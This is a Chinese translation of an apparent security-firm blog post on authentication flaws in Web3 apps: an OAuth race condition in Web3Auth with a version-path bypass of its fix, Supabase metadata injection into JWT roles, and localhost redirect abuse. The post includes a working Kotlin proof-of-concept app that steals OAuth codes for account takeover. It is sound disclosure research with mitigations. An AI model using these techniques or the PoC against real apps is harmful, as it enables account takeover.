颠覆Web3中的Web2认证

  • osecio
  • 发布于 2025-03-07 10:51
  • 阅读 5

本文分析了Web3应用中Web2认证集成时存在的安全风险。作者通过案例研究,揭示了OAuth逻辑漏洞、Supabase元数据配置错误以及在localhost环境下滥用OAuth等问题,强调了在Web3应用中采用安全可靠的认证方式的重要性,需要开发者采用更强大的身份验证流程,以弥合Web2框架和Web3生态系统之间的差距。

在 Web3 中颠覆 Web2 认证

Web3 认证使用加密签名和钱包,但 Web2 认证集成可能会引入隐藏的风险。 我们将探讨 OAuth 逻辑漏洞、Supabase 错误配置以及 localhost 设置中的 OAuth 滥用等漏洞。

Subverting Web2 Authentication in Web3 的标题图片

认证是 Web3 中安全交互的基石,能够实现访问控制、用户身份验证和交易完整性。 与传统的 Web2 系统(通常依赖于中心化数据库和基于密码的机制)不同,Web3 系统采用去中心化标识符(DID)、加密签名和基于钱包的认证。 然而,许多应用程序仍然使用基于 Web2 的认证提供商来改善用户体验。

在我们的研究中,我们专注于依赖于基于 Web2 的认证方法的 Web3 应用程序。 具体来说,我们分析了这些应用程序的认证流程,并发现了一类鲜为人知的漏洞。

在本文中,我们将讨论我们发现的三个案例:

  1. 认证提供商上的 OAuth 逻辑漏洞
  2. Supabase user_metadata 错误配置
  3. localhost 开发环境中的 OAuth 滥用

滥用 OAuth 认证逻辑

在我们的研究过程中,我们最初在应用程序中发现了一些错误。 然而,这些大多是简单和众所周知的问题,因此我们决定专注于认证提供商本身内部的漏洞。

Web3Auth 简介

Web3Auth 是一种旨在简化 Web3 应用程序登录过程的工具,无需用户管理复杂的钱包设置或记住冗长的密码。 它的产品之一 Web3Auth PnP(即插即用)支持使用 Google 的 OAuth2 认证。 该产品采用复杂的认证流程和基础设施,以保持与 dApp 的无缝集成。

Web3Auth 认证流程

Web3Auth PnP 认证流程涉及一个 Web 会话服务器,用于存储认证参数和配置。 下图说明了认证过程的工作原理:

image

在最终重定向回 dApp 后,应用程序可以使用 secret token 向 client_id 标识的服务进行认证。 这种设计确保你不能使用该 token 向任何未经授权的应用程序进行认证。

此外,重要的是要注意每个 dApp 都有一个重定向 URL 的白名单。 /start 根据配置的白名单验证 redirect_url,以确保它与允许的 URL 之一匹配。

传输中加密

会话服务器采用密码学来安全地发送和接收认证参数。 加密密钥 派生自 sessionId,该 sessionIdGET 参数中发送到 /start。 由于 sessionId 可以被控制,因此允许我们从会话服务器发送和接收数据。

image

竞态条件

如图所示,来自会话服务器的配置数据仅在 /start 期间进行验证,之后在 /end 端点中使用。 如果攻击者设法在验证(/start)之后但在使用(/end)之前修改参数,这会引入一个潜在的竞态条件,该条件可能会被利用。

为了利用这个 竞态条件,攻击者控制的网站可以正常启动认证流程。 然后,它可以向会话服务器发送另一个请求,该请求具有相同的 sessionId 但具有修改过的恶意参数。

可以修改什么来实现有影响的事情?

如果你了解 OAuth 的工作原理,答案很简单。 攻击者可以简单地更改 redirect_uri 参数以指向他们自己的网站,并从查询字符串中泄漏 secret token。 有了 secret token,他们就可以针对 client_id 定义的应用程序进行认证。

image

通过使用这个漏洞,我们能够创建一个网站,该网站能够接管遵循标准 OAuth 流程的受害者的帐户。

补丁和绕过

该漏洞在同一天(非常迅速!)被报告和修复。 但是,我们发现该修复程序没有反向移植到旧版本。

为了绕过该修复程序,我们能够更改 URL 中的版本:

  • https://auth.web3auth.io/v8/start(最新版本)
  • https://auth.web3auth.io/v6/start(绕过)

我们报告了这个问题,并且它也很快得到了解决!

Supabase 元数据操作

Supabase 认证流程

Supabase 是一个后端即服务(BaaS)平台,提供认证、数据库和实时 API。 认证过程在用户注册或登录时开始。 Supabase 为经过认证的用户生成一个 JWT,嵌入用户 ID、角色和其他元数据(用户提供或系统生成)等声明。 然后,此 token 将返回给客户端,并用于后续的 API 请求,在此期间,服务器会验证 JWT 以确认用户的身份和权限。

JWT 验证

在我们客户的系统之一中,我们发现了一个漏洞,该漏洞允许通过操纵"data": {} 结构中的输入,在注册请求中包含自定义字段,例如 user_metadataidentity_data。 然后,这些字段会未经验证地直接反映在颁发的 JWT 中。

例如,攻击者可以发送带有任意数据的注册请求,例如 "role": "admin""email_verified": true,这些数据随后将包含在 JWT 声明中。 此外,可以插入超出典型输入的任意字段,例如 "test": "test",使我们能够将任意数据注入到最终的 JWT token 中。

image

在此示例中,我们控制着用户元数据中的“role”字段。 如果应用程序使用元数据来管理角色,则它将容易受到权限提升的攻击,因为任何人都可以将任何角色注入到那里。

攻击者随后可以在主平台登录,检索 token,并通过将其提交到验证端点来验证其注入的参数是否在 JWT 中持久存在。 发生这种情况是因为一个函数 parseSupaBase 正在解析和验证由 JWT supabase token 生成的所有内容。

function parseSupaBase(token) {
    try {
        const [header, payload, signature] = token.split('.');
        const decodedHeader = JSON.parse(atob(header));
        const decodedPayload = JSON.parse(atob(payload));
        return { header: decodedHeader, payload: decodedPayload, signature };
    } catch (error) {
        console.error('Error parsing token:', error);
        return null;
    }
}

缓解措施

开发人员应避免信任来自其 Supabase 自定义域的输入。 应在 Supabase 上强制执行 行级安全性(RLS),并且应该在 app_metadata 中定义重要和私有字段。 这些字段必须在其创建和更新过程的每一步都经过严格验证。

开发环境中的 OAuth

在观看了 Luan Herrera 关于利用使用 OAuth 进行认证的桌面应用程序逻辑的演讲(特别是使用 localhost 服务器)后,我们注意到我们的许多客户也在 OAuth 流程中的 redirect_uri 参数中允许 localhost。

Herrera 的研究强调,如果允许 localhost 作为重定向 URI,则通常在桌面环境中无法利用它,因为在没有远程代码执行(RCE)的情况下,无法模拟 localhost。 但是,在移动环境中情况会发生变化,在这种情况下,可以使用恶意应用程序打开 localhost Web 服务器,从而使利用成为可能。

在我们客户的某个实现中,我们发现允许使用 localhost:3000。 利用方法与 Herrera 的演讲中演示的方法相同。 但是,我们观察到 localhost 服务器经常被开发人员使用并列入白名单,不仅用于桌面应用程序,还用于测试和开发环境。

对于利用,最终的 Google OAuth URL 构造如下:

https://accounts.google.com/o/oauth2/v2/auth?client_id=redacted&scope=openid%20email%20profile&response_type=code&redirect_uri=http%3A%2F%2Flocalhost%3A3000%2Fapi%2Fauth%2Fcallback%2Fgoogle&prompt=none&access_type=offline&state=2UTJ8naHVglSQQupa1jw1lugsaZr8f5M9hxZp7bxISM&code_challenge=e6_Onj804xizwJzVT5Pf8luKPbtLV-EJssR7I58UQp8&code_challenge_method=S256&service=lso&o2v=2&ddm=1&flowName=GeneralOAuthFlow

由于没有公开的漏洞利用程序,我们还创建了一个概念验证,演示了如何通过简单地打开恶意应用程序来创建一个恶意 APK 以窃取 OAuth token。 这发生在没有任何用户交互的情况下,并导致帐户接管。

class MainActivity : AppCompatActivity() {

    override fun onCreate(savedInstanceState: Bundle?) {
        super.onCreate(savedInstanceState)

        // Start the Ktor web server
        CoroutineScope(Dispatchers.IO).launch {
            try {
                startWebServer()
                Log.d("WebServer", "Server started on http://localhost:3000")
            } catch (e: Exception) {
                Log.e("WebServer", "Error starting server: ${e.message}", e)
            }
        }

        // Open the Google OAuth page
        val googleOAuthUrl = "https://accounts.google.com/o/oauth2/v2/auth?client_id=redacted&scope=openid%20email%20profile&response_type=code&redirect_uri=http%3A%2F%2Flocalhost%3A3000%2Fapi%2Fauth%2Fcallback%2Fgoogle&prompt=none&access_type=offline&state=2UTJ8naHVglSQQupa1jw1lugsaZr8f5M9hxZp7bxISM&code_challenge=e6_Onj804xizwJzVT5Pf8luKPbtLV-EJssR7I58UQp8&code_challenge_method=S256&service=lso&o2v=2&ddm=1&flowName=GeneralOAuthFlow"
        val browserIntent = Intent(Intent.ACTION_VIEW, Uri.parse(googleOAuthUrl))
        startActivity(browserIntent)
    }

    private fun startWebServer() {
        embeddedServer(CIO, port = 3000) {
            routing {
                get("{...}") {
                    call.respondHtml {
                        head {
                            meta(charset = "UTF-8")
                            meta(name = "viewport", content = "width=device-width, initial-scale=1.0")
                            title("OAuth Redirect")
                        }
                        body {
                            h1 { +"Google OAuth Redirect" }
                            script {
                                +"document.body.innerText = location.search;"
                            }
                        }
                    }
                }
            }
        }.start(wait = true)
    }
}

该代码本质上是创建一个 localhost Web 服务器,并将用户重定向到 OAuth 授权屏幕,在某些条件下,可以自动绕过该屏幕,而无需任何用户交互。 授权过程完成后,OAuth 流程会将用户重定向回 localhost 服务器,包括查询字符串中的 secret authorization token。

由于攻击者控制着 localhost 服务器,因此他们可以拦截并提取 token,从而能够接管受害者的帐户。

缓解措施

作为一种缓解措施,至关重要的是要确保 localhost 服务器未在 OAuth redirect_uri 参数中列入白名单。 如果由于特定的业务需求而有必要将 localhost 列入白名单,则必须仔细设计和实施自定义解决方案,以保护所有用户的帐户安全。

结论

在本文中,我们探讨了 Web3 dApp 使用的 Web2 认证流程中存在的三个鲜为人知的漏洞类别,从而揭示了关键但经常被忽视的安全风险。 认证过程本质上很复杂,并且这种复杂性使漏洞能够继续存在于应用程序中而不被注意。

通过发现和分析这些漏洞,我们旨在强调必须采用稳健、全面的认证安全方法。 随着 Web3 的不断发展,弥合传统 Web2 框架与去中心化 Web3 生态系统之间的差距不仅是一个机会,而且是保护用户及其数据的必要措施。

  • 原文链接: osec.io/blog/2025-03-07-...
  • 登链社区 AI 助手,为大家转译优秀英文文章,如有翻译不通的地方,还请包涵~
点赞 0
收藏 0
分享
本文参与登链社区写作激励计划 ,好文好收益,欢迎正在阅读的你也加入。

0 条评论

请先 登录 后评论
osecio
osecio
Audits that protect blockchain ideas.